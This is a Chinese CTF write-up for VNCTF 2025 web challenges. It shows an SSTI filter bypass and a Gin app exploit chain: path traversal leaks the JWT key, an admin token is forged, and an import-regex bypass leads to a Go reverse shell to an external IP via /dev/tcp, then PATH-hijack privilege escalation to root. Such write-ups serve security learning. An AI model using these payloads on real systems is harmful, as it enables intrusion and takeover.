web
学生姓名登记系统
Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?
{{''.__class__}}
可以ssti,但是测试发现有长度限制,限制单行23个字符,需要赋值拼接绕过,这里使用海象运算符
{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()}}
{{e:=d[154]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}
Gin
代码审计
路由
func SetupRoutes(r *gin.Engine) *gin.Engine {
r.GET("/", func(c *gin.Context) { //根
c.Redirect(http.StatusFound, "/login")
})
r.GET("/register", func(c *gin.Context) {
c.File("./static/register.html")
})
r.POST("/register", controllers.Register) //注册
r.GET("/login", func(c *gin.Context) {
c.File("./static/login.html")
})
r.POST("/login", controllers.Login) //登录
r.GET("/user", middleware.AuthMiddleware("user"), func(c *gin.Context) { //普通用户
c.File("./static/user.html")
})
r.POST("/upload", middleware.AuthMiddleware("upload"), controllers.Upload) //上传
r.GET("/download", middleware.AuthMiddleware("download"), controllers.Download) //下载
r.GET("/admin", middleware.AuthMiddleware("admin"), func(c *gin.Context) { //admin
c.File("./static/admin.html")
})
r.POST("/eval", middleware.AuthMiddleware("admin"), controllers.Eval) //执行命令
return r
}
eval会鉴权,看一下token是如何生成的
//controller.go
token, err := utils.GenerateToken(user.Username)
//utils/jwt.go
func GenerateKey() string {
rand.Seed(config.Year())
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, config.Key())
return key
}
func GenerateToken(username string) (string, error) {
key := GenerateKey()
claims := JWTClaims{
Username: username,
RegisteredClaims: jwt.RegisteredClaims{
ExpiresAt: jwt.NewNumericDate(time.Now().Add(24 * time.Hour)),
IssuedAt: jwt.NewNumericDate(time.Now()),
Issuer: "Mash1r0",
Subject: "user token",
},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
signedToken, err := token.SignedString([]byte(key))
if err != nil {
return "", fmt.Errorf("生成 token 时出错: %v", err)
}
return signedToken, nil
}
需要config/下面的Year和Key来生成,正好download可以任意文件下载
func Download(c *gin.Context) {
filename := c.DefaultQuery("filename", "")
if filename == "" {
response.Response(c, http.StatusBadRequest, 400, nil, "Filename is required")
}
basepath := "./uploads"
filepath, _ := url.JoinPath(basepath, filename)
if _, err := os.Stat(filepath); os.IsNotExist(err) {
response.Response(c, http.StatusBadRequest, 404, nil, "File not found")
}
c.Header("Content-Disposition", "attachment; filename="+filename)
c.File(filepath)
}
先注册一个普通用户下载文件
http://node.vnteam.cn:43955/download?filename=../config/key.go
package config
func Key() string {
return "r00t32l"
}
func Year() int64 {
return 2025
}
有了Key和Year就可以进行token伪造,先生成key
package main
import "fmt"
import "math/rand"
func GenerateKey() string {
rand.Seed(2025)
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
return key
}
func main() {
fmt.Println(GenerateKey())
}
得到jwt的key 122r00t32l
然后就可以访问admin路由进行eval了
importRegex := `(?i)import\s*\((?s:.*?)\)`
re := regexp.MustCompile(importRegex)
matches := re.FindStringSubmatch(code)
imports := matches[0]
log.Println(imports)
if strings.Contains(imports, "os/exec") {
return true
}
过滤了os/exec,但是可以发现正则只会匹配第一个imports,所以第一个包放os/exec就能绕过,或者使用go.mod里面的其他库
github.com/PaulXu-cn/goeval v0.1.1
直接使用两个import绕过
package main
import (
"fmt"
)
import (
"os/exec"
)
func main() {
cmd := exec.Command("bash","-c","bash -i >& /dev/tcp/101.43.121.110/4567 0>&1")
output, err := cmd.Output()
if err != nil {
fmt.Println("Error:", err)
return
}
fmt.Println(string(output))
}
root@VM-4-13-ubuntu:~# nc -lvnp 4567
Listening on 0.0.0.0 4567
id
Connection received on 222.186.59.30 13668
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
ctfer@ret2shell-47-1121:/GinTest$ id
uid=1000(ctfer) gid=1000(ctfer) groups=1000(ctfer)
ctfer@ret2shell-47-1121:/$ cat flag
VNCTF2025!!!
假flag
ctfer@ret2shell-47-1121:/$ find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/sudo
/.../Cat
ctfer@ret2shell-47-1121:/$ /.../Cat
VNCTF2025!!!
反编译一下Cat
一眼环境变量劫持
ctfer@ret2shell-47-1121:~$ echo '/bin/bash' > cat
ctfer@ret2shell-47-1121:~$ pwd
/home/ctfer
ctfer@ret2shell-47-1121:~$ export PATH=/home/ctfer:$PATH
ctfer@ret2shell-47-1121:~$ chmod +x cat
ctfer@ret2shell-47-1121:~$ /.../Cat
root@ret2shell-47-1121:~# id
uid=0(root) gid=0(root) groups=0(root),1000(ctfer)
root@ret2shell-47-1121:~# cd /root
root@ret2shell-47-1121:/root# ls
flag start.sh
root@ret2shell-47-1121:/root# head flag
VNCTF{7e6a2325-41ff-1b0b-3de3-96266eddd0c9}